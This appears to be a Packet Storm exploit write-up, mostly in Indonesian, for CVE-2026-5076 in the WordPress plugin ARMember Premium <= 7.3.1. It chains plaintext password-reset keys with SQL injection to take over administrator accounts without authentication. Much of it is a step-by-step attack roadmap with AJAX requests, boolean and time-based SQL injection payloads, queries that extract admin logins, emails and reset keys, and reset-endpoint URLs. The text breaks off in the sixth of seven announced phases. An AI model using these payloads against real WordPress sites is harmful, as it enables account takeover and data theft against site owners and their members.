Lucene search
K

πŸ“„ WordPress ARMember Premium 7.3.1 Insecure Password Reset

πŸ—“οΈΒ 04 Jun 2026Β 00:00:00Reported byΒ This Me ZyTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 10Β Views

ARMember Premium <=7.3.1 insecure password reset enables full admin takeover via plaintext keys and SQL injection.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-5073
2 Jun 202618:30
–attackerkb
ATTACKERKB
CVE-2026-5076
2 Jun 202618:30
–attackerkb
ATTACKERKB
CVE-2026-5074
2 Jun 202618:30
–attackerkb
Circl
CVE-2026-5073
2 Jun 202620:49
–circl
Circl
CVE-2026-5074
2 Jun 202621:15
–circl
Circl
CVE-2026-5076
2 Jun 202620:57
–circl
CVE
CVE-2026-5073
2 Jun 202618:30
–cve
CVE
CVE-2026-5074
2 Jun 202618:30
–cve
CVE
CVE-2026-5076
2 Jun 202618:30
–cve
Cvelist
CVE-2026-5073 ARMember Premium <= 7.3.1 - Unauthenticated SQL Injection via 'order' Parameter
2 Jun 202618:30
–cvelist
Rows per page
<div align="center">
    
    # ☠️ CVE-2026-5076
    
    ### ARMember Premium <= 7.3.1
    
    ### Insecure Password Reset Mechanism β†’ Full Admin Account Takeover
    
    ![](https://img.shields.io/badge/CVE-2026--5076-CRITICAL-red?style=for-the-badge)
    ![](https://img.shields.io/badge/CVSS-9.8-ff0000?style=for-the-badge)
    ![](https://img.shields.io/badge/Type-Unauthenticated-blue?style=for-the-badge)
    ![](https://img.shields.io/badge/Chain-7_Phases-9cf?style=for-the-badge)
    ![](https://img.shields.io/badge/ARMember-7.3.1-orange?style=for-the-badge)
    
    **Plaintext Password Reset Keys Stored in Database + SQL Injection = Complete Admin Takeover**
    
    </div>
    
    ---
    
    ## πŸ“‹ Informasi Kerentanan
    
    | Item | Detail |
    |---|---|
    | **CVE ID** | CVE-2026-5076 |
    | **Plugin** | ARMember – Membership Plugin & Content Restriction |
    | **Versi Terpengaruh** | Premium <= 7.3.1 |
    | **Versi Patched** | 7.3.2 |
    | **CVSS Score** | 9.8 Critical |
    | **CWE** | CWE-640: Weak Password Recovery |
    | **Tipe** | Insecure Password Reset Mechanism β†’ Plaintext Key Storage |
    | **Vektor Serangan** | Network / Remote / Unauthenticated (via SQLi chain) |
    | **Instalasi Aktif** | 30,000+ (Premium) |
    | **Penemu** | Wordfence Threat Intelligence |
    | **Tanggal Publikasi** | 3 Juni 2026 |
    
    ### CVE Terkait (Same Advisory)
    
    | CVE | Tipe | Severity |
    |---|---|---|
    | **CVE-2026-5076** | Insecure Password Reset β€” Plaintext Key Storage | 9.8 Critical |
    | **CVE-2026-5073** | Unauthenticated SQL Injection (ORDER BY) | 9.8 Critical |
    | **CVE-2026-5074** | Unauthenticated SQL Injection (WHERE) | 9.8 Critical |
    
    ---
    
    ## 🎯 Ringkasan
    
    Tiga kerentanan kritis pada plugin WordPress **ARMember Premium <= 7.3.1** yang jika dirantai bersama memungkinkan **pengambilalihan akun administrator secara penuh tanpa autentikasi**:
    
    1. **CVE-2026-5076** β€” Password reset key disimpan dalam **plaintext** di `wp_usermeta` (`arm_reset_password_key`), bukan di-hash seperti standar WordPress
    2. **CVE-2026-5073** β€” SQL Injection pada parameter `order` di AJAX handler `arm_directory_paging_action()`
    3. **CVE-2026-5074** β€” SQL Injection pada parameter `filter` di AJAX handler `arm_directory_paging_action()`
    
    **Konsekuensi langsung CVE-2026-5076**: Siapapun dengan akses baca ke database (via SQLi, backup exposure, dll) dapat membaca password reset key dalam bentuk plaintext dan langsung menggunakannya untuk mereset password akun manapun β€” tanpa perlu cracking.
    
    ---
    
    ## πŸ”¬ Analisis Teknis
    
    ### Root Cause #1: Plaintext Key Storage (CVE-2026-5076)
    
    WordPress standar menyimpan password reset key di kolom `user_activation_key` dalam bentuk **hashed** menggunakan `wp_hash()`. ARMember menyimpan salinan key yang sama di `wp_usermeta` dengan meta_key `arm_reset_password_key` β€” namun dalam bentuk **PLAINTEXT**:
    
    ```php
    // FILE: armember-membership/core/class.arm_member_forms.php
    // Fungsi: arm_lost_password_action()
    
    // WordPress menyimpan HASHED key (aman)
    $key = wp_generate_password(20, false);
    $wp_key = $wpdb->get_var(
        $wpdb->prepare("SELECT user_activation_key FROM $wpdb->users 
                         WHERE user_login=%s", $user_login)
    );
    
    // ARMember menyimpan PLAINTEXT key (VULNERABLE!)
    update_user_meta($user_id, 'arm_reset_password_key', $wp_key);
    //                                                    ^^^^^^
    //                              Ini adalah key ASLI yang bisa langsung dipakai
    ```
    
    **Masalah kritis**: `$wp_key` di sini adalah key yang dihasilkan oleh `wp_generate_password(20, false)` β€” 20 karakter alfanumerik. WordPress meng-hash key ini sebelum menyimpan di `user_activation_key`, tapi ARMember menyimpannya **sebelum hashing** atau menyimpan salinan terpisah yang **tidak di-hash**.
    
    ### Root Cause #2: Key Persistence Bug
    
    Ketika `get_password_reset_key()` dipanggil (WordPress core), key baru di-generate dan di-hash. Namun fungsi ini **TIDAK mengupdate** `arm_reset_password_key`:
    
    ```php
    // WordPress core: get_password_reset_key($user)
    // - Generate key baru
    // - Hash key β†’ simpan di user_activation_key
    // - Return key plaintext
    // - TAPI: arm_reset_password_key TIDAK diupdate!
    ```
    
    Akibatnya, **key plaintext lama tetap tersimpan selamanya** di `arm_reset_password_key` bahkan setelah user melakukan password reset. Key ini bisa digunakan berulang kali sampai meta key secara eksplisit dihapus.
    
    ### Root Cause #3: SQL Injection (CVE-2026-5073/5074)
    
    AJAX handler `arm_directory_paging_action()` memiliki nonce check via `arm_check_user_cap()`, tapi parameter `order` dan `filter` langsung masuk ke SQL query tanpa sanitasi:
    
    ```php
    // FILE: armember-membership/core/class.arm_member_forms.php
    // Fungsi: arm_directory_paging_action()
    
    // Nonce check (dibutuhkan nonce valid)
    $nonce_check = $this->arm_check_user_cap();
    
    // ORDER BY injection β€” langsung ke SQL tanpa sanitasi!
    $orderby = "u.{$arm_member} {$order_dir}";
    // $order_dir dari $_POST['order'] β†’ LANGSUNG ke ORDER BY
    
    // WHERE injection via filter
    if (!empty($filter)) {
        $where .= " AND " . $filter; // ← LANGSUNG concatenation!
    }
    ```
    
    **Eksploitasi ORDER BY**: Parameter `order` dimasukkan ke klausa `ORDER BY` SQL. Karena tidak ada sanitasi, attacker bisa inject subquery:
    
    ```sql
    -- Payload SQLi via parameter order
    ORDER BY u.ID ASC, IF(COND, 1, EXP(710))
    
    -- COND = TRUE  β†’ IF returns 1 β†’ ORDER BY 1 β†’ response normal (besar)
    -- COND = FALSE β†’ IF returns EXP(710) β†’ MySQL overflow ERROR β†’ response 90B
    ```
    
    **Oracle ini immune terhadap network latency** karena membedakan TRUE/FALSE berdasarkan error vs success, bukan waktu respons.
    
    ---
    
    ## ⛓️ Attack Chain Roadmap
    
    ```
    ╔══════════════════════════════════════════════════════════════════════════════════╗
    β•‘                    CVE-2026-5076 FULL CHAIN ATTACK ROADMAP                        β•‘
    β•‘              ARMember Premium <= 7.3.1 β†’ Unauthenticated Admin Takeover             β•‘
    β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
    
     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
     β”‚  PHASE 1: RECONNAISSANCE                                                       β”‚
     β”‚  "Identifikasi target, versi, dan attack surface"                               β”‚
     β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
     β”‚                                                                                 β”‚
     β”‚  1a. Deteksi ARMember                                                          β”‚
     β”‚      β”œβ”€ GET / β†’ cari string: "arm_", "armember", "ARMember"                    β”‚
     β”‚      β”œβ”€ GET /wp-json/ β†’ cari armember di response                              β”‚
     β”‚      β”œβ”€ Cookie: arm_* indicates ARMember active                                 β”‚
     β”‚      └─ Version fingerprint: arm_css_version, arm_js_version                    β”‚
     β”‚                                                                                 β”‚
     β”‚  1b. Temukan Directory Page (MUST have arm_directory_form_container)            β”‚
     β”‚      β”œβ”€ Method 1: WP Search β†’ GET /?s=members β†’ parse links                   β”‚
     β”‚      β”‚   └─ Filter: skip /feed/, /rss2/, .xml, /atom/                         β”‚
     β”‚      β”œβ”€ Method 2: Direct Path Probe β†’ /directory/, /members/, /community/      β”‚
     β”‚      β”œβ”€ Method 3: Sitemap β†’ /sitemap.xml β†’ parse URLs                          β”‚
     β”‚      └─ Method 4: REST API β†’ /wp-json/wp/v2/pages β†’ search ARM shortcode       β”‚
     β”‚                                                                                 β”‚
     β”‚  1c. Ekstrak nonce + template_id (BERPASANGAN di form yang sama)                β”‚
     β”‚      β”œβ”€ <form class="arm_directory_form_container">                             β”‚
     β”‚      β”‚   β”œβ”€ <input name="arm_wp_nonce" value="NONCE_HERE">                     β”‚
     β”‚      β”‚   └─ <input name="template_id" value="TID_HERE">                        β”‚
     β”‚      └─ Nonce = wp_create_nonce('arm_wp_nonce') β€” tied to session              β”‚
     β”‚          └─ Bukan per-template_id, tapi per-user session                        β”‚
     β”‚                                                                                 β”‚
     β”‚  OUTPUT: nonce, template_id, version, directory_url                             β”‚
     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                    β”‚
                    β–Ό
     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
     β”‚  PHASE 2: SQL INJECTION                                                        β”‚
     β”‚  "Konfirmasi SQLi via error-based boolean oracle"                               β”‚
     β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
     β”‚                                                                                 β”‚
     β”‚  2a. Kirim AJAX request dengan nonce + template_id                              β”‚
     β”‚      POST /wp-admin/admin-ajax.php                                              β”‚
     β”‚      action=arm_directory_paging_action                                         β”‚
     β”‚      arm_wp_nonce=<NONCE>                                                       β”‚
     β”‚      template_id=<TID>                                                          β”‚
     β”‚      type=directory                                                              β”‚
     β”‚      order=ASC                                                                   β”‚
     β”‚                                                                                 β”‚
     β”‚  2b. Error-Based Boolean Oracle (IMMUNE LATENCY!)                              β”‚
     β”‚      β”œβ”€ TRUE:  order=ASC,IF(1=1,1,EXP(710))  β†’ response ~10KB (normal)        β”‚
     β”‚      β”œβ”€ FALSE: order=ASC,IF(1=2,1,EXP(710))  β†’ response ~90B (EXP overflow)   β”‚
     β”‚      └─ Delta: ~100x β€” tidak terpengaruh network jitter                         β”‚
     β”‚                                                                                 β”‚
     β”‚  2c. Kenapa EXP(710)?                                                          β”‚
     β”‚      β”œβ”€ EXP(710) β†’ MySQL double overflow β†’ ERROR                                β”‚
     β”‚      β”œβ”€ Error = response body ~90B (cepat, konsisten)                           β”‚
     β”‚      └─ Lebih reliable daripada SLEEP-based oracle di site lambat               β”‚
     β”‚                                                                                 β”‚
     β”‚  2d. Oracle Alternatif (untuk site tanpa error output)                          β”‚
     β”‚      β”œβ”€ Time-based: IF(COND, SLEEP(3), u.ID)                                   β”‚
     β”‚      β”‚   β”œβ”€ TRUE = slow (SLEEP), FALSE = fast (ORDER BY ID)                    β”‚
     β”‚      β”‚   └─ Rentan terhadap network latency, baseline shifting                 β”‚
     β”‚      └─ 3-State: IF(COND, SLEEP(N), u.ID) vs baseline                         β”‚
     β”‚          β”œβ”€ TRUE  = slow + big response                                         β”‚
     β”‚          β”œβ”€ FALSE = fast + big response (ORDER BY valid ID)                    β”‚
     β”‚          └─ ERROR = fast + small response (ORDER BY 0)                         β”‚
     β”‚                                                                                 β”‚
     β”‚  OUTPUT: sqli_confirmed, sz_true, sz_false, oracle_type                         β”‚
     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                    β”‚
                    β–Ό
     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
     β”‚  PHASE 3: DATABASE ENUMERATION                                                  β”‚
     β”‚  "Ekstrak table prefix, admin user, dan metadata"                               β”‚
     β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
     β”‚                                                                                 β”‚
     β”‚  3a. Deteksi Table Prefix (CRITICAL β€” prefix non-standard umum!)                β”‚
     β”‚      β”œβ”€ Method 1: INFORMATION_SCHEMA (paling reliable)                          β”‚
     β”‚      β”‚   β”œβ”€ (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES                   β”‚
     β”‚      β”‚   β”‚  WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME LIKE '%users'          β”‚
     β”‚      β”‚   β”‚  LIMIT 1) IS NOT NULL                                                β”‚
     β”‚      β”‚   └─ Ekstrak prefix: SUBSTRING(TABLE_NAME,1,LENGTH-5)                   β”‚
     β”‚      β”œβ”€ Method 2: Brute-force prefix                                            β”‚
     β”‚      β”‚   └─ wp_, wordpress_, wp_2_, site_, db_, blog_, web_                    β”‚
     β”‚      └─ Method 3: Per-row oracle via alias u/um                                β”‚
     β”‚          └─ Main query sudah JOIN wp_users u, wp_usermeta um                   β”‚
     β”‚              └─ Tapi TABLE NAME di subquery = prefix + "users"                  β”‚
     β”‚                                                                                 β”‚
     β”‚  3b. Ekstrak Admin User (4-Method Fallback)                                     β”‚
     β”‚      β”œβ”€ Method 1: wp_capabilities LIKE '%administrator%'                       β”‚
     β”‚      β”‚   └─ SELECT user_login FROM PREFIX_users WHERE ID=                       β”‚
     β”‚      β”‚      (SELECT user_id FROM PREFIX_usermeta                                β”‚
     β”‚      β”‚       WHERE meta_key='PREFIX_capabilities'                               β”‚
     β”‚      β”‚       AND meta_value LIKE '%administrator%' LIMIT 1)                     β”‚
     β”‚      β”œβ”€ Method 2: wp_user_level = '10'                                         β”‚
     β”‚      β”‚   └─ Meta key PREFIX_user_level dengan value '10'                        β”‚
     β”‚      β”œβ”€ Method 3: Per-row um alias for capabilities                             β”‚
     β”‚      β”‚   └─ um.meta_key='PREFIX_capabilities' AND um.meta_value LIKE '%admin%'  β”‚
     β”‚      └─ Method 4: First user fallback (ORDER BY ID LIMIT 1)                    β”‚
     β”‚          └─ Pada site kecil, user pertama = admin                               β”‚
     β”‚                                                                                 β”‚
     β”‚  3c. Ekstrak Admin Email                                                        β”‚
     β”‚      └─ SELECT user_email FROM PREFIX_users WHERE user_login='ADMIN'            β”‚
     β”‚                                                                                 β”‚
     β”‚  3d. Cek arm_reset_password_key Feature                                         β”‚
     β”‚      β”œβ”€ (SELECT COUNT(*) FROM PREFIX_usermeta                                   β”‚
     β”‚      β”‚  WHERE meta_key='arm_reset_password_key') > 0                            β”‚
     β”‚      β”œβ”€ Jika FALSE β†’ fitur tidak ada (v4.x) atau belum ada reset               β”‚
     β”‚      └─ Jika TRUE tapi 0 values β†’ fitur ada, perlu trigger (Phase 4)           β”‚
     β”‚                                                                                 β”‚
     β”‚  OUTPUT: prefix, admin_login, admin_email, arm_key_feature_exists               β”‚
     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                    β”‚
                    β–Ό
     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
     β”‚  PHASE 4: PASSWORD RESET TRIGGER                                                β”‚
     β”‚  "Paksa target menyimpan plaintext key di database"                             β”‚
     β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
     β”‚                                                                                 β”‚
     β”‚  4a. ARMember Forgot-Password (SET arm_reset_password_key = PLAINTEXT)          β”‚
     β”‚      β”œβ”€ POST /wp-admin/admin-ajax.php                                           β”‚
     β”‚      β”‚   action=arm_lost_password                                                β”‚
     β”‚      β”‚   arm_wp_nonce=<NONCE>                                                    β”‚
     β”‚      β”‚   user_login=<ADMIN_LOGIN>                                                β”‚
     β”‚      β”œβ”€ Hasil: arm_reset_password_key = plaintext 20-char key                    β”‚
     β”‚      └─ Masalah: banyak site return "0" (action tidak terdaftar)                β”‚
     β”‚                                                                                 β”‚
     β”‚  4b. WordPress Standard Lostpassword (SET user_activation_key = HASHED)         β”‚
     β”‚      β”œβ”€ POST /wp-login.php?action=lostpassword                                  β”‚
     β”‚      β”‚   user_login=<ADMIN_LOGIN>                                                β”‚
     β”‚      β”‚   wp-submit=Get New Password                                              β”‚
     β”‚      β”œβ”€ Hasil: user_activation_key = hashed key (TIDAK bisa dipakai langsung)   β”‚
     β”‚      └─ Email terkirim ke admin (jika mail server aktif)                        β”‚
     β”‚                                                                                 β”‚
     β”‚  4c. WP Lostpassword via Email                                                   β”‚
     β”‚      └─ Jika user_login gagal, coba dengan admin_email                         β”‚
     β”‚                                                                                 β”‚
     β”‚  4d. Verifikasi Key Tersimpan (via SQLi)                                        β”‚
     β”‚      β”œβ”€ Cek arm_reset_password_key (PLAINTEXT β€” CVE-2026-5076)                  β”‚
     β”‚      β”‚   └─ (SELECT meta_value FROM PREFIX_usermeta                             β”‚
     β”‚      β”‚      WHERE meta_key='arm_reset_password_key'                              β”‚
     β”‚      β”‚      AND user_id=ADMIN_ID LIMIT 1)                                       β”‚
     β”‚      └─ Cek user_activation_key (HASHED β€” fallback)                             β”‚
     β”‚          └─ LENGTH((SELECT user_activation_key FROM PREFIX_users                β”‚
     β”‚              WHERE user_login='ADMIN')) > 0                                      β”‚
     β”‚                                                                                 β”‚
     β”‚  ⚠️ PENTING: WP lostpassword TIDAK menghasilkan arm_reset_password_key!         β”‚
     β”‚     Hanya form forgot-password ARMember yang menyimpan plaintext key.           β”‚
     β”‚     Versi < 5.x TIDAK memiliki fitur arm_reset_password_key sama sekali.       β”‚
     β”‚                                                                                 β”‚
     β”‚  OUTPUT: arm_reset_password_key (plaintext) atau user_activation_key (hashed)   β”‚
     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                    β”‚
                    β–Ό
     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
     β”‚  PHASE 5: KEY EXTRACTION                                                        β”‚
     β”‚  "Baca plaintext password reset key dari database via SQLi"                     β”‚
     β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
     β”‚                                                                                 β”‚
     β”‚  5a. Ekstrak arm_reset_password_key (CVE-2026-5076 β€” PLAINTEXT!)               β”‚
     β”‚      β”œβ”€ Binary search per-karakter via SQLi:                                    β”‚
     β”‚      β”‚   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                β”‚
     β”‚      β”‚   β”‚  Char 1: SUBSTRING(meta_value,1,1) > 'M' ?         β”‚                β”‚
     β”‚      β”‚   β”‚  Char 1: SUBSTRING(meta_value,1,1) > 'T' ?         β”‚                β”‚
     β”‚      β”‚   β”‚  ...binary search converges...                       β”‚                β”‚
     β”‚      β”‚   β”‚  Char 1 = 'X' βœ“                                      β”‚                β”‚
     β”‚      β”‚   β”‚  Char 2: SUBSTRING(meta_value,2,1) > 'a' ?         β”‚                β”‚
     β”‚      β”‚   β”‚  ...repeat for 20 characters...                      β”‚                β”‚
     β”‚      β”‚   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                β”‚
     β”‚      β”œβ”€ Key length: 20 karakter alfanumerik (wp_generate_password(20, false))    β”‚
     β”‚      └─ Extraction time: ~7 queries Γ— 20 chars = ~140 requests                  β”‚
     β”‚                                                                                 β”‚
     β”‚  5b. Fallback: Ekstrak user_activation_key (HASHED β€” tidak langsung pakai)     β”‚
     β”‚      └─ Format: hash keluaran wp_hash() β€” perlu cracking atau bypass           β”‚
     β”‚                                                                                 β”‚
     β”‚  5c. Key Persistence (BUG KRITIS!)                                              β”‚
     β”‚      β”œβ”€ get_password_reset_key() TIDAK update arm_reset_password_key            β”‚
     β”‚      β”œβ”€ Key plaintext TETAP ADA meskipun user sudah reset password              β”‚
     β”‚      └─ Key bisa dipakai BERULANG KALI sampai meta key dihapus                  β”‚
     β”‚                                                                                 β”‚
     β”‚  OUTPUT: arm_key (plaintext 20-char) atau hashed_key (fallback)                 β”‚
     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                    β”‚
                    β–Ό
     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
     β”‚  PHASE 6: PASSWORD RESET                                                        β”‚
     β”‚  "Gunakan plaintext key untuk reset password admin"                             β”‚
     β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
     β”‚                                                                                 β”‚
     β”‚  6a. ARMember Reset Endpoint (armrp)                                            β”‚
     β”‚      β”œβ”€ GET /?armrp=true&key=<PLAINTEXT_KEY>&login=<ADMIN_LOGIN>                β”‚
     β”‚      β”œβ”€ ARMember memverifikasi key PLAINTEXT vs database PLAINTEXT              β”‚
     β”‚      β”‚   └─ String comparison β€” BUKAN hash comparison!                          β”‚
     β”‚      β”œβ”€ Jika match β†’ tampilkan form reset password                              β”‚
     β”‚      └─ Endpoint ini adalah GET request (bukan AJAX) β€” bisa diakses langsung    β”‚
     β”‚                                                                                 β”‚
     β”‚  6b. WordPress Standard Reset (wp-login.php)                                    β”‚
     β”‚      β”œβ”€ GET /wp-login.php?action=rp&key=<KEY>&login=<ADMIN_LOGIN>               β”‚
     β”‚      β”œβ”€ WordPress memverifikasi key HASHED β€” plaintext key TIDAK berfungsi      β”‚
     β”‚      └─ Hanya berguna jika key dari user_activation_key (hashed)                β”‚
     β”‚                                                                                 β”‚
     β”‚  6c. Submit Password Baru                                                        β”‚
     β”‚      β”œβ”€ POST ke form reset dengan password baru                                 β”‚
     β”‚      └─ Password baru ter-set β†’ akun berhasil di-takeover                      β”‚
     β”‚                                                                                 β”‚
     β”‚  OUTPUT: new_password, reset_confirmed                                           β”‚
